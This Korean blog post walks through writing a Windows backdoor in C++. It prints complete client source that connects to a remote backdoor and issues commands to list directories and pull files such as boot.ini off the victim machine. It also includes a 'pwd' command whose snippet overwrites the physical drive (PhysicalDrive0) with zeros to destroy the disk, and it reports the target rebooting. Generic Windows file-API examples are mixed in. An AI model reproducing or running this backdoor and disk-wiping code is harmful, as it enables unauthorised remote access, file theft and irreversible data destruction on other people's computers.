2018-12-05
Back Door를
연결하는 명령어 삽입
명령어 : dir', 'get', 'save'
- dir : command 로 연결된 포트를 이용하여 c:\의 파일목록을 읽음
- get : dir로 읽어진 파일목록중 파일을 읽고 저장
- save : 원하는 파일명으로 저장
- Client의 소스코드
- 명령어 'dir'
- 명령어 'dir'
// backdoor_for_hacker.cpp#include<winsock2.h>#include<stdlib.h>#include<stdio.h>#pragma comment(lib,"ws2_32.lib")
SOCKET tcp_sock;
void CmdBack(){ char cmd[20], arg1[255], tcmd[280], buf[1000]; int retval; do{ printf("Input Command(to backdoor): "); scanf("%s %s", cmd,arg1); if(strcmp(cmd,"close")==0){ closesocket(tcp_sock); break; } if(strcmp(cmd,"dir")==0) { //dir 명령어 wsprintf(tcmd,"%s %s",cmd,arg1); //totalcmd(변수)로 printf 의 내용을 넣어준다 retval = send(tcp_sock,tcmd,strlen(tcmd),0); if(retval==SOCKET_ERROR) printf("Send Command Error\n"); else { printf("Send Command OK\n"); retval=recv(tcp_sock, buf, sizeof(buf),0); buf[retval]='\0'; printf("===File List===\n"); printf("%s\n", buf); }
} }while(TRUE);}
int ConnBack() { //백도어 연결 함수 int retval; WSADATA wsa; if (WSAStartup(MAKEWORD(2,2), &wsa) != 0) return -1; char back_ip[16]; int back_port; printf("Input Backdoor IP address: "); scanf("%s", back_ip); printf("Input Backdoor Port number: "); scanf("%d", &back_port);
tcp_sock = socket(AF_INET, SOCK_STREAM, 0); SOCKADDR_IN servaddr; ZeroMemory(&servaddr, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_port = htons(back_port); servaddr.sin_addr.s_addr = inet_addr(back_ip); int retry_cnt=0; do{ Sleep(1000); retval = connect(tcp_sock, (SOCKADDR *)&servaddr, sizeof(servaddr)); retry_cnt++; }while(retval==SOCKET_ERROR && retry_cnt <= 3 ); return retval;}
int main(void) {while(TRUE){ char cmd[20]; printf("Input command(help for Manual): "); scanf("%s", cmd); if(strcmp(cmd, "help")==0){ // help printf("help for manual\n"); printf("connect for Connect to Backer\n"); printf("close Backdoor connection\n"); } else if(strcmp(cmd, "connect")==0){ //connect int result=ConnBack(); if(result == -1) printf("Fail to Connect!!\n"); else if(result == 0){ printf("Success Connect!!\n"); CmdBack(); } }}
}
결과
- 문제 1. 일회성(1회이상 검색이 안된다)
- 문제 2. 하위폴더의 목록은 나타내지 못한다.
- 문제2. 해결
list1 의 사이즈를 5000으로 할당하였으나
디렉토리리스트의 양이 그 이상일 경우 overflow될수 있어
동적할당을 주어 유연하게 만듬
- 문제2. 결과
파일 목록이 전부 다 나옴
- 문제1. 해결
[ Server의 소스코드 ]
while문의 반복하도록 함수를 삽입
while(True){}
- 문제1. 결과
Windows 함수들
- CreateFile 예제1
- 파일에 내용을 쓰기 목적으로 열기
- 다른 프로세스가 열어서 읽는 것까지는 허용
- 파일 없으면 만들어서 열고 있으면 실패
- 함수 사용 예제
HANDLE hFile;hFile = CreateFile("c:\\test.txt",GENERIC_WRITE, FILE_SHARE_READ, NULL,CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
- CreateFile 예제2
- 파일이 있으면 열고 없으면 새로 만들어서 열기
- 파일에 내용을 읽기 목적으로 열기
- 함수 사용 예제
HANDLE hFile;hFile = CreateFile("test.txt",GENERIC_READ, FILE_SHARE_READ, NULL ,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL);
- CreateFile 예제3
- 파일이 있으면 열고 없으면 실패
- 함수 사용 예제
HANDLE hFile;hFile = CreateFile("test.txt",GENERIC_READ, FILE_SHARE_WRITE, NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);
- 파일 읽기 (파일의 맨 처음 부분부터 읽기)
- test.txt 파일을 없으면 만들고 있으면 덮어씌워서라도 열어라.
- 읽기 위해서
- 다른 사람이 읽는 것까지는 허용
- 일반 파일 속성으로...
- 함수 사용 예제
DWORD rbytes;char buff[100];
HANDLE hFile = CreateFile("test.txt",GENERIC_READ, FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL);
ReadFile(hFile,buff,sizeof(buff),&rbytes,NULL);
- 파일 읽기 원하는 위치부터 읽기
- 파일의 첫부분에서 100바이트 뒤부터 읽기
- 함수 사용 예제
DWORD rbytes;char buff[100];
HANDLE hFile = CreateFile("test.txt",GENERIC_READ, FILE_SHARE_READ,
NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL);
SetFilePointer(hFile, 100, NULL, FILE_BEGIN);
ReadFile(hFile, buff, sizeof(buff), &rbytes, NULL);
- 파일 첫부분부터 기록하기
- 파일을 열고나서 SetFilePointer함수를 사용하지 않고 바로 WriteFile을 사용하면 파일 첫 부분부터 기록한다.
- 함수 사용 예제
DWORD wbytes;char buff[100];
HANDLE hFile = CreateFile("test.txt",GENERIC_WRITE, FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(hFile, buff, sizeof(buff), &wBytes, NULL);
- 파일 내용 추가
- 파일의 뒤에 내용 추가하기
- SetFilePointer 와 WriteFile 함께 사용
- 함수 사용 예제
DWORD wbytes;char buff[100];
HANDLE hFile = CreateFile("test.txt",GENERIC_WRITE, FILE_SHARE_READ,
NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL);
SetFilePointer(hFile, 0, NULL, FILE_END);
WriteFile(hFile, buff, sizeof(buff), &wBytes, NULL);
CloseHandle(hFile);
- 파일 삭제
- 파일 삭제하기
- 함수 사용 예제
DeleteFile("text.txt");
- 명령어 'get'
- 명령어 'get'
[ 소스코드 추가 ]
CreateFile , WriteFile 함수 사용
'dir' 명령어로 읽어들인 파일리스트를
'get' 명령어로 파일목록 중에서 하나의 파일내용을 저장
실행
"boot.ini" 파일을 읽고
ayoungzzang.ini로 만들기(저장하기)
성공!
- 하드파괴하는 명령어 'pwd'
- 소스코드 추가
- 하드파괴하는 명령어 'pwd'
- 소스코드 추가
if(strcmp(cmd, "pwd")==0){ char trash[512]; int i=0,ret; DWORD dwWrite; ZeroMemory(trash,sizeof(trash)); HANDLE hDevice = CreateFile("\\\\.\\PhysicalDrive0", // OS는 보통 0번 HDD에 설치되어 있음 GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); for(i=1 ; i<=1000 ; i++) { ret=WriteFile(hDevice, trash, sizeof(trash), &dwWrite, NULL); }}
- 전체소스코드
// backdoor_for_hacker.cpp
#include<winsock2.h>#include<stdlib.h>#include<stdio.h>#pragma comment(lib,"ws2_32.lib")SOCKET tcp_sock;void CmdBack(){ char cmd[20], arg1[255], tcmd[280], buf[5000]; int retval; do{ printf("Input Command(to backdoor): "); scanf("%s %s", cmd, arg1); if(strcmp(cmd,"close")==0){ closesocket(tcp_sock); break; } if(strcmp(cmd,"dir")==0){ wsprintf(tcmd,"%s %s",cmd, arg1); retval = send(tcp_sock, tcmd, strlen(tcmd), 0); if(retval == SOCKET_ERROR) printf("Send Command Error!!\n"); else { printf("Send Command OK~!!\n"); retval = recv(tcp_sock, buf, sizeof(buf), 0); buf[retval]='\0'; printf("===파일 목록 출력===\n"); printf("%s\n", buf); } } if(strcmp(cmd, "get")==0){ wsprintf(tcmd,"%s %s",cmd, arg1); retval = send(tcp_sock, tcmd, strlen(tcmd), 0); if(retval == SOCKET_ERROR) printf("Send Command Error!!\n"); else { printf("Send Command OK~!!\n"); retval = recv(tcp_sock, buf, sizeof(buf), 0); buf[retval]='\0'; printf("Input File name to Save: "); char fname[255]; scanf("%s", fname); HANDLE hFile; hFile = CreateFile(fname, GENERIC_WRITE, FILE_SHARE_READ, NULL,CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); DWORD wBytes; BOOL ret=WriteFile(hFile, buf, retval, &wBytes, NULL); } } if(strcmp(cmd, "pwd")==0){ retval =send(tcp_sock, "pwd", 3, 0); if(retval == SOCKET_ERROR) printf("Send Error!\n"); else printf("당신의 하드는 이제 날라갑니다!!!!!\n"); } }while(TRUE);}int ConnBack() { //백도어 연결 함수 int retval; WSADATA wsa; if (WSAStartup(MAKEWORD(2,2), &wsa) != 0) return -1; char back_ip[16]; int back_port; printf("Input Backdoor IP address: "); scanf("%s", back_ip); printf("Input Backdoor Port number: "); scanf("%d", &back_port); tcp_sock = socket(AF_INET, SOCK_STREAM, 0); SOCKADDR_IN servaddr; ZeroMemory(&servaddr, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_port = htons(back_port); servaddr.sin_addr.s_addr = inet_addr(back_ip); int retry_cnt=0; do{ Sleep(1000); retval = connect(tcp_sock, (SOCKADDR *)&servaddr, sizeof(servaddr)); retry_cnt++; }while(retval==SOCKET_ERROR && retry_cnt <= 3 ); return retval;}int main(void) {while(TRUE){ char cmd[20]; printf("Input command(help for Manual): "); scanf("%s", cmd); if(strcmp(cmd, "help")==0){ printf("help for manual\n"); printf("connect for Connect to Backer\n"); printf("close Backdoor connection\n"); } else if(strcmp(cmd, "connect")==0){ int result=ConnBack(); if(result == -1) printf("Fail to Connect!!\n"); else if(result == 0){ printf("Success Connect!!\n"); CmdBack(); } }} return 0;}
[ pwd 실행 ]
서버 리부트










No comments:
Post a Comment